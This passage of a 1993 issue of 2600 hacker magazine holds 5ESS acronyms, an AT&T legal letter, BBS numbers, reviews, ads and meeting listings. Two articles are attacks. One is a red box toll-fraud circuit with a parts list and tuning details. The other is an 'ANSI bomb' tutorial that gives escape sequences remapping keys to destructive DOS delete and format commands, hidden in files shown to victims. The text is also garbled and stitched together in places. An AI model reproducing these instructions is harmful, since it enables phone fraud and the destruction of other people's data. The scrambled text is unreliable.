- 235-118-214 Batch Release SE4 Software Release
- 235-118-215 Text Interface SE4 Software Release
- 235-118-216 Recent Change Procedures
- 235-118-217 Recent Change Procedures Batch Release SE5 Software Release
- 235-118-218 Recent Change Attribute Definitions SE5 Software Release

**Summer 1993 2600 Magazine Page 33**
Inside the 2600 central office is a brand new 5ESS!

<table>
<thead>
<tr>
<th>Acronyms and Abbreviations</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADTS - Automatic Data Test System</td>
</tr>
<tr>
<td>ATICS - Automated Toll Integrity Checking System</td>
</tr>
<tr>
<td>BMD - Batch Mode Display</td>
</tr>
<tr>
<td>BMI - Batch Mode Input - TIMEREL and DEMAND</td>
</tr>
<tr>
<td>BMR - Batch Mode Release</td>
</tr>
<tr>
<td>CIC - Customer Information Center (AT&amp;T)</td>
</tr>
<tr>
<td>DAMT - Direct Access Mechanize Testing</td>
</tr>
<tr>
<td>DMERT - Duplex Multiple Environment Real Time</td>
</tr>
<tr>
<td>DSU - Digital Service Unit</td>
</tr>
<tr>
<td>DTAC - Digital Test Access Connector</td>
</tr>
<tr>
<td>IPS - Integrated Provisioning System</td>
</tr>
<tr>
<td>ITNO - Item Number</td>
</tr>
<tr>
<td>LU - Line Unit</td>
</tr>
<tr>
<td>MML - Man Machine Language</td>
</tr>
<tr>
<td>MSGNO - Message Number</td>
</tr>
<tr>
<td>MSGS - Message Switch</td>
</tr>
<tr>
<td>NCT - Network Control and Timing</td>
</tr>
<tr>
<td>ODD - Office Dependent Data</td>
</tr>
<tr>
<td>OE - Office Equipment</td>
</tr>
<tr>
<td>ORDNO - Service Order Number</td>
</tr>
<tr>
<td>OSS - Operations Support System</td>
</tr>
<tr>
<td>PVOVT - Provisioning On-site Verification Testing</td>
</tr>
<tr>
<td>RC - Recent Change</td>
</tr>
<tr>
<td>RC/V - Recent Change and Verify</td>
</tr>
<tr>
<td>RDATE - Release Date (Update Database Date)</td>
</tr>
<tr>
<td>RTIME - Release Time (Update Database Time)</td>
</tr>
<tr>
<td>SMPU - Switch Module Processor Unit</td>
</tr>
<tr>
<td>SONET - Synchronous Optical Network</td>
</tr>
<tr>
<td>STLWS - Supplementary Trunk and Line Work Station</td>
</tr>
<tr>
<td>TFTP - Television Facility Test Position</td>
</tr>
<tr>
<td>TIMEREL - Time Release</td>
</tr>
<tr>
<td>TMS - Time Multiplexed Switch</td>
</tr>
<tr>
<td>TRCO - Trouble Reporting Control Office</td>
</tr>
<tr>
<td>TSIU - Time Slot Interchange Unit</td>
</tr>
<tr>
<td>TU - Trunk Unit</td>
</tr>
</tbody>
</table>

I give AT&T full credit for this article. Without them, it would not have been possible!
April 13, 1993

Eric Corley  
P. O. Box 99  
Middle Island  
New York 11953-0099

Dear Mr. Corley:

I have been informed that the Winter 1992-93 edition of your publication 2600 Magazine includes material copied from AT&T's Eastern Area Directory.

The material copied by you is proprietary to AT&T and subject to the protection of state and federal law including The Copyright Law of the United States.

AT&T will take immediate action to protect its proprietary information and its copyrighted property in the event you persist with its publication.

Very truly yours,

R. A. Ryan

They just never stop trying to intimidate us with these ridiculous letters! What AT&T seems to believe is that a list of where their offices are ("Is AT&T Hiding Near You", Winter 1992-93, page 36) constitutes proprietary information. This kind of absurdity may work within AT&T's hallowed halls but we're trying to exist in the real world. The good folks at AT&T should consider joining us there someday. Until they do, they should take note that their threats will only serve to embarrass them and that further threats or attempts to prevent us from printing information will be met with strong legal action. With this in mind, we'd like to dedicate the next few pages to AT&T.
government bulletin boards

202-208-6269: SBAI-BBS: Small Bus. Admin internal BBS
202-208-7119: OEA BBS: Interior's Off of Environment Affairs
202-208-7679: CIC-BBS (GSA): Consumer Information Center
202-219-2011: OER! BBS: Education Research and Improvement
202-219-4784: Labor News: Dept of Labor information and files
202-342-4568: ADA ALS/Navy: Ada Language Sys/
202-376-7100: USCS-BBS (Customs): Cust. and
202-366-3764: FHA BBS: FHA staff and interested public
202-482-1423: OPBO-BBS: Internal comm. for DOC employees
202-433-8530: NCTS BBS: Navy Computer & Telecom
202-433-8530: NCTS BBS: Navy Computer & Telecom
202-482-3870: EBB: Economic data and info
202-512-1397: FEDERAL BBS: GPO and Government Data
202-632-1361: FCC-State Link: FCC daily digest &
202-653-7516: CASUCOM (GSA): Interagency
202-653-1079: USNO ADS; GPS data, sunrise/set/
202-690-5423: OASH-BBS (NAPO): AIDS Information & Reports
202-727-6668: DCBBS: DC Government Information
202-763-4574: CPO-BBS (Census): Jobs at the Census Dept
202-772-7836: Fort Drum:
205-895-0028: NASA Spacelink: Education arate:
210-925-9096: Kelly AFB:
VIDEO REVIEW

Assorted Videos
Commonwealth Films
223 Commonwealth Avenue
Boston, MA 02116
Review by Emmanuel Goldstein

The corporate world contributes a great deal to the lives of the everyday human. Perhaps the most significant gift they offer, second only to global pollution, is the wonderful art form known as corporate comedy.

We've all seen it in some way. Whether it's a phone company claiming one of their memos is worth $80,000 or a governmental agency saying they believe a raid can actually help a business become profitable, it's all part of the same humor. After all, it is just a big joke, isn't it? An escape from reality into the world of the absurd in order to make life more bearable. Art in its truest form.

Those of you who wish to enjoy the latest in corporate comedy ought to check out three videos recently released by Commonwealth Films. *We From Virus*, an illustration of a trojan horse. and will, *Lost Control: Illegal Software Duplication* is easily the funniest. This 16 minute piece is designed to put the fear of the Lord into anyone who's even thought of copying software.

The story unfolds through the eyes of Steve Roberts, head of a company that wasn't careful enough. Federal marshals conduct a raid and find that, lo and behold, every piece of software is not accounted for! This could spell doom for him and everyone he's ever known, according to his lawyer who can't seem to say a single positive word. Yes, Steve, the Software Piracy Association did their homework - you're not exactly squeaky clean - out of the hundreds of cases SPA has prosecuted, they've only lost one - you're liable for up to $100,000 per unauthorized copy of each program, including the ones you've bought - you'd better hope the media doesn't latch onto this and ruin your life even more.... Steve does some serious soul-searching ("I had no idea we were in so deep") and realizes that copying a program is indeed exactly like stealing a computer. "For some reason," he ponders, "it didn't seem serious." At this point, the viewer feels compelled to shake the TV and scream at Steve to come out of his corporate coma. But alas, it just gets worse. In a rather patronizing tone, his lawyer says, "Let's set the basic facts straight and eliminate ignorance." Oh, if only we could.

The "facts" that we are hit with run counter to every instinct a human being could have. The SPA, and anyone who falls for their self-righteous dogma, lives in a fantasy world. They actually expect everyone to not only pay outrageous prices for every bit of software on their machines, but to pay these prices again whenever they copy a program to another machine. And for those people who can't afford to pay $500 for a word processor, SPA takes the position that such people simply should not have access. In other words, admission to technology is solely for people with money to spend. It's precisely this philosophy that has inhibited progress in the past and will continue to do so to a far greater degree if left unchallenged. Access to the future is something which needs to be encouraged, not restricted. Software developers should, and will, make tons of money. And when the dust finally settles, it ought to become quite clear that the SPA position articulated in this film was never about fair compensation. It was simply greed.

The other two films, *Virus: Prevention, Detection, Recovery and Back in Business: Disaster Recovery/Business Resumption* actually offer some useful suggestions, the most basic being to make backups and keep them offsite. Newsflash. There are a few good laughs in these offerings as well since everything has to be exaggerated beyond believability in order to drive the point home. For example, we are introduced to a dark hacker who speaks to us from within a shadow with a disguised voice. His sole reason of existence is to make our lives miserable. Remember that.

Although we could find little more than sentence structure to agree with in these offerings, we do recommend them to our readers as a fascinating study of alien culture. As a final example of the utter thoroughness of corporate comedy, the price for these three films (63 minutes total viewing time) is $1338.75. Happy viewing.
2600 marketplace

WANTED: Early Strowger step-by-step sub-station switching equipment to set up working historical display. Need line relay sets, line finders, distributor, selectors, and individual and trunk-hunting connectors. Contact Leland, 2525 S. Meade St., Denver, CO 80219. E-mail: leland@csn.org.

MUTATION ENGINES! Get the facts in Computer Virus Developments Quarterly. The Spring issue includes the Dark Avenger's Mutation Engine (and others), as well as a tutorial on how to write one. Single issue with disk, $25. Year's subscription, $75. Send to: American Eagle Publications, PO Box 41401T, Tucson, AZ 85717.

DRIVE DOWN YOUR CALLING CARD COSTS. You can call from ANY touch tone phone ANYWHERE in the continental U.S., Virgin Islands, and Hawaii save up to 50%. No surcharge. No monthly fees. Discount plans available down to .149 per minute. Make money with this! TSA, PO Box 8791, Mandeville, LA 70470.

BODEGA BAY. Turn your Amiga 500 into an Amiga 2000! Comes complete with a 200W power supply for only $150 post-paid! Call John at (303) 733-2600.
We at 2600 are often asked, “What is a toll fraud device?” Well, we decided to answer the question once and for all. This red box is a toll fraud device. Why is it a toll fraud device? Because any red box that can be built this cheaply and this easily and can fit in the palm of your hand was clearly not made for demonstration purposes.

Okay, so what is a red box? Well... a red box is hacker slang for any device that simulates payphone coin signalling tones in North American payphones. Red boxes emit the precise tones used by payphones to tell the local switch that the appropriate coinage has been inserted. The tones are played through the mouthpiece in lieu of dropping coins into the payphone. This particular red box is particularly fraudulent in that it only simulates quarter tones. After all, when one commits toll fraud one does not want to waste time pumping virtual nickels and dimes into the payphone when quarters work quite nicely, thank you.

For those of you who are technically minded, the theory behind the circuit is easy enough to grasp. The DTMF encoder (U1) used in conjunction with the crystal (X1) produces the desired frequencies. The decade counter (U2) controls the cadence or how many frequency pulses are used. The 555 timer (U3) used in conjunction with R1, R2, and C1 produces the actual pulses and controls how fast they are delivered. The circuit is a good hack because it utilizes the carry flag on U2 to overcome any stray charge on C1 that may cause the first pulse from U3 to be inaccurate. It accomplishes this by ignoring the first five pulses produced by U3, processing the next five, ignoring the third, etc. The circuit is also a good hack because it utilizes that well known coincidence in the DTMF encoder, the fact that substituting a 6.5 MHz crystal for a colorburst crystal (3.579545 MHz) just happens to raise the “*” key frequencies from 941 and 1209 Hz to approximately 1708 and 2195 Hz. Since the desired frequencies for a quarter tone are 1700 and 2200 Hz, the output of the circuit is well within tolerance. The cadence is determined by the RC combination in U3. Each pulse lasts approximately 30 ms, followed by 30 ms of silence.

So fraudulent is this red box that we at 2600 have nicknamed it the Quarter. While all members of 2600 are morally righteous, and do not advocate the use of red boxes for fraudulent purposes, we must admit that if we ever did decide to commit toll fraud, we would trust nothing less than a Quarter to do the job.

Obviously, the Quarter will not work with Customer Owned Coin Operated (COCOT) payphones. You may also have some difficulty with newer electronic payphones, as the phone companies are finally getting hip to these little devices and are isolating the talk path from the receiver until the call is established. Still, your Quarter should provide you with hours of fun-filled listening entertainment. In a world where a one minute payphone call from Washington DC to New York costs $2.20 (at the maximum discount rate no less!), it will hardly surprise us at our suburban offices if, while sipping our afternoon tea, we happen to read about a sudden proliferation of Quarters across the U.S.
NOTE: All crossed lines on the diagram are points of connection.

PARTS LIST:

RESISTORS | VALUES | NOTES
---|---|---
R1 | 220 kOhm | The exact values of R1 and R2 are not important so long as their sum is 440.
R2 | 220 kOhm |
R3 | 1 kOhm |

CAPACITOR | VALUE | NOTES
---|---|---
C1 | 0.1 uF. | 6.5536 MHz is also within tolerance.

CRYSTAL | VALUE | NOTES
---|---|---
X1 | 6.5 MHz | DTMF encoder.

CHIPS | NAME | NOTES
---|---|---
U1 | TCM5089 | Decade counter. Regular 4017 is okay.
U2 | 74HC4017 | Timer IC. Regular 555 is okay if a 1 kOhm resistor is inserted between pins 3 and 8.
U3 | CMOS 555 |

SPEAKER | IMPEDANCE | NOTES
---|---|---
SPKR | 600 ohm | U1 expects an equivalent load.

SWITCH | TYPE | NOTES
---|---|---
S1 | Momentary | You may also want to add a power switch.

As printed, the circuit expects three triple ‘A’ batteries for a total of 4.5 volts. A 9 volt battery may also be used, but R1 and R2 should then total 470 kOhms instead of 440. Obviously, you will also need a perfboard and chassis if you expect to build the circuit. Parts may be ordered from electronic firms. Remember to order at least two of everything so that you will have spares in case you mess up.
ANSI BOMB

by Mister Galaxy

As you know, ANSI codes are used to design colorful screens for BBS's. These same ANSI codes can be used to redefine the keys of a keyboard (your keyboard or that of your victim). For example, you could use ANSI codes to redefine your F10 key as the RETURN key. When you pressed the F10 key, it would be the same as pressing your RETURN key. You can also use ANSI codes to redefine a key as a DOS command. This is where the power of ANSI bombs comes into play. Think about what damage could be done by redefining your “W” key as a format command. When you hit “W”, the computer would spit out a delete or format command and, before you knew it, you’d be crushed!

What’s Required?

First of all you must have the command DEVICE=ANSI.SYS (or its equivalent) in your config.sys file. If you don’t know how to do this you shouldn’t be reading this article!

Second, you need a chart of ASCII codes. This can usually be found in the back of most DOS manuals.

Third, you need the following information.

How Do I Make a Bomb?

There are many ways to make a bomb. The first way is to use the DOS “PROMPT” command. For example, you could use this command in an AUTOEXEC.BAT file:

PROMPT SE[65;13;"ECHO Y | DEL *.* > NUL";13p

Note the special characters: “$E” is another way to tell DOS you are referring to the ESC character. “[“ must appear after the ESC character. ASCII code 65 is the “A” character. ASCII code 13 is the carriage return code.

The above command redefines the “A” character as the following command:

HIT RETURN
REDEFINE “A” AS ECHO Y | DEL *.* > NUL
HIT RETURN

Get the idea? Pretty dangerous! Unfortunately, any poor sap who looks in his AUTOEXEC.BAT file will quickly notice this.

Another Way to Make a Bomb

Go into your DOS 5 editor. Type Control-P, let go, and then hit the ESC key. If you did this right, a left arrow will appear. For our purposes, we will use ESC to symbolize the escape character (the left arrow). Type the following:

ESC;13;"hello";13p

where ESC is that left arrow.

This command would redefine your RETURN key as:

HIT RETURN
TYPE HELLO
HIT RETURN

Once again, it’s fairly obvious what is going on. Now on to the sneaky stuff.

Essentially, the important thing to remember is that you can make an ANSI bomb execute ANY command you could type in DOS. That’s important. Secondly, you can hide that command in a series of codes. Please note the following commands (they are important in the making of ANSI bombs).

ECHO Y | FORMAT C: > NUL

and

ECHO Y | DEL *.* > NUL

These two commands can cause great damage, and when they are embedded in ANSI codes within a picture or document, they can cause great destruction. Imagine the problems you could cause by showing someone a picture....

Let’s get to the meat of the matter. To make a dangerous text file, type:

ESC[13;13;101;99;104;111;32;121;32;124;32;100;101
:108;32;42;46;42;32;62;32;110;117;108;13p

Note: normally this ANSI code would be all on one line with no spaces or carriage returns. If you do not have the DOS 5 editor, try typing ALT 27 to generate the ESC character.

Anyway, the above command would redefine the RETURN key as:

HIT RETURN
ECHO Y | DEL *.* > NUL
HIT RETURN

The 13p at the end of the command hits the RETURN key (thereby executing the command).

Remember, you can use ANSI bombs to redefine one or many keys when it is viewed. By viewed, I mean:

TYPE filename.ext

By simply viewing a file which contains an ANSI bomb (using the DOS “TYPE” command), you could possibly have your keys...
redefined! Remember, it's possible that a BBS sysop could even redefine your keys over the phone just by having you look at a picture!

Hypothetically, if you were a sysop you could create a great ANSI using The Draw ANSI editor. It might say “GO AWAY” in big letters. The sysop might use this “picture” when logging off troublesome individuals. After the picture has been made, load it into the DOS 5 editor. Go to the end of the document. Type in your ANSI bomb! Save it. The next time a troublesome individual calls, you might be able to zap him by redefining his keys via the modem! But many communications packages appear to filter out these escape character combinations. The best way to get your victim is to add an ANSI bomb to a legitimate document in a program that he wants to have. When he views the document using the TYPE command, he will redefine one or more of his keys and will be zapped!

Remember, these bombs are completely invisible to anyone doing a TYPE filename.ext! However, it will only be invisible if he has the ANSI.SYS driver active. Most people do. Your bomb will appear as gibberish to someone who does not have the ANSI.SYS driver active and it will not work on that particular machine. In both cases, neither realizes what is going on.

How to Detect or Prevent ANSI Bombs
Get the programs PKSFAN11.ZIP, ANSICHK.ZIP, or ACHKFILE.EXE. The first stops key redefinitions and the others locate them in non-executable files.

Conclusion
This article was provided as an educational essay on the redefinition of keys. There is nothing here which does not appear in any DOS manual - it's just explained differently. The writer and 2600 Magazine do not recommend that you do anything illegal or destructive with this information. In fact, it is recommended that you do not attempt to follow any of the above instructions.

Reasonably be expected to disclose the identity of a confidential source and/or information furnished by a confidential source.” More recent documents state that information was obtained “in the course of a criminal investigation that is being conducted pursuant to the Secret Service's authority to investigate access device and computer fraud.” The agency has also admitted to possession of two documents which “consist solely of information identifying individuals.” CPSR's interpretation, with which we agree, is that the Secret Service convinced the mall security people to illegally obtain a list of the people who attended the meeting. That list is now in the possession of the Secret Service. In short, the Secret Service appears to have been caught violating the law. Stay tuned.

You may have heard mention of the Clipper Chip, which basically amounts to a plan by the government to take back control of encryption. It appears that one standard would be utilized and the government would always have the ability to break your code if they so chose. Needless to say, this isn’t sitting well with privacy advocates. The question everyone is waiting on is whether the government actually believes it can outlaw other forms of encryption. Expect a lot more on this in future issues.

Finally, a public service from the folks at Full Disclosure and 1-900-STOPPER. By dialing 800-235-1414, you can hear your phone number read back to you. In some places you can block your number by dialing *67 first, a method which was originally intended for blocking Caller ID. While in the past we’ve taken exception to STOPPER’s prices for private calls on their 900 line, we have to admit that operating this 800 service and encouraging people to see how easy it is to be identified ultimately amounts to a good thing. We just hope that anonymous calls can be easily and cheaply obtainable in the future as they were not too long ago.
New York City
Citicorp Center, in the lobby, near the payphones, 153 E-53rd St., between Lexington & 3rd. Payphones: 212-223-9011, 8927; 212-308-8044, 8162.

Poughkeepsie
South Hills Mall, off Route 9. By the payphones in front of Radio Shack, next to the food court. Payphones: 914-297-9823, 9854, 9855.

Buffalo
Eastern Hills Mall (Clarence) by lockers near food court.

Washington DC
Pentagon City Mall in the food court.

Cambridge, MA
Harvard Square, inside "The Garage" by the Pizza Pad on the second floor.

Danbury, CT

Philadelphia

Pittsburgh
Parkway Center Mall, south of downtown, on Route 279. In the food court.

Fort Lauderdale
West Hollywood Bowling Alley, 296 South State Route 7. Call voice mail for details or changes: 305-680-9214, 100#.

Atlanta
Meetings announced on local BBS (404) 612-0340.

Chicago
Century Mall, 2828 Clark St., in the 3rd Coast Cafe.

Memphis

Ann Arbor, MI
Galleria on South University.

Bloomington, MN
Mall of America, food court.

St. Louis
Galleria, Highway 40 and Brentwood, lower level, food court area, by the theaters.

Austin
Northcross Mall, across the skating rink from the food court, next to Pipe World.

Houston
Galleria Mall, 2nd story overlooking the skating rink.

Los Angeles

San Francisco

Seattle
Washington State Convention Center, first floor.

Munich, Germany

We've noticed that many of the payphone numbers we've listed have stopped receiving incoming calls. This is probably an attempt by some entity to keep us from communicating. Any suggestions on how to get around this are most welcome.

All meetings take place on the first Friday of the month from approximately 5 pm to 8 pm local time. To start a meeting in your city, leave a message and phone number at (516) 751-2600.
The Shirt

Actual footage of Dutch hackers penetrating a United States military computer system in the summer of 1991. This is not a secret videotape. These hackers filmed this to show everybody just how easy it really is. In fact, a small part of this tape was shown on *Now It Can Be Told*. This version tells the whole story and runs about 30 minutes. $10. VHS, NTSC format only.

The Video

2600 SUBSCRIPTIONS

<table>
<thead>
<tr>
<th></th>
<th>1 year/$21</th>
<th>2 years/$38</th>
<th>3 years/$54</th>
</tr>
</thead>
<tbody>
<tr>
<td>INDIVIDUAL</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th></th>
<th>1 year/$50</th>
<th>2 years/$90</th>
<th>3 years/$125</th>
</tr>
</thead>
<tbody>
<tr>
<td>CORPORATE</td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th></th>
<th>1 year, individual/$30</th>
<th>1 year, corporate/$65</th>
</tr>
</thead>
<tbody>
<tr>
<td>OVERSEAS</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th></th>
<th>$260 (also includes 1984, 1985, 1986 back issues)</th>
</tr>
</thead>
<tbody>
<tr>
<td>LIFETIME</td>
<td></td>
</tr>
</tbody>
</table>

2600 BACK ISSUES

<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>$25 per year</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

(OVERSEAS: ADD $5 PER YEAR OF BACK ISSUES)

(individual back issues for 1988 to present are $6.25 each, $7.50 overseas - we don't have enough little boxes to check off so please figure out another way to convey this info.)

NAME, ADDRESS, SUBSCRIBER #, SPECIAL NOTES, ETC.

MAIL TO: 2600, POB 752, MIDDLE ISLAND, NY 11953

TOTAL AMOUNT: [blank]
## outward

<table>
<thead>
<tr>
<th>Topic</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>A Guide to the 5ESS</td>
<td>4</td>
</tr>
<tr>
<td>British Credit Holes</td>
<td>12</td>
</tr>
<tr>
<td>High School Hacking</td>
<td>13</td>
</tr>
<tr>
<td>DTMF Decoder Review</td>
<td>14</td>
</tr>
<tr>
<td>Meeting Advice</td>
<td>16</td>
</tr>
<tr>
<td>More Acronyms</td>
<td>20</td>
</tr>
<tr>
<td>Letters</td>
<td>24</td>
</tr>
<tr>
<td>AT&amp;T's Pages</td>
<td>35</td>
</tr>
<tr>
<td>Video Review</td>
<td>40</td>
</tr>
<tr>
<td>2600 Marketplace</td>
<td>41</td>
</tr>
<tr>
<td>Toll Fraud Device</td>
<td>42</td>
</tr>
</tbody>
</table>

### OUR ADDRESS:

2600 Magazine  
PO Box 752  
Middle Island, NY 11953  
U.S.A.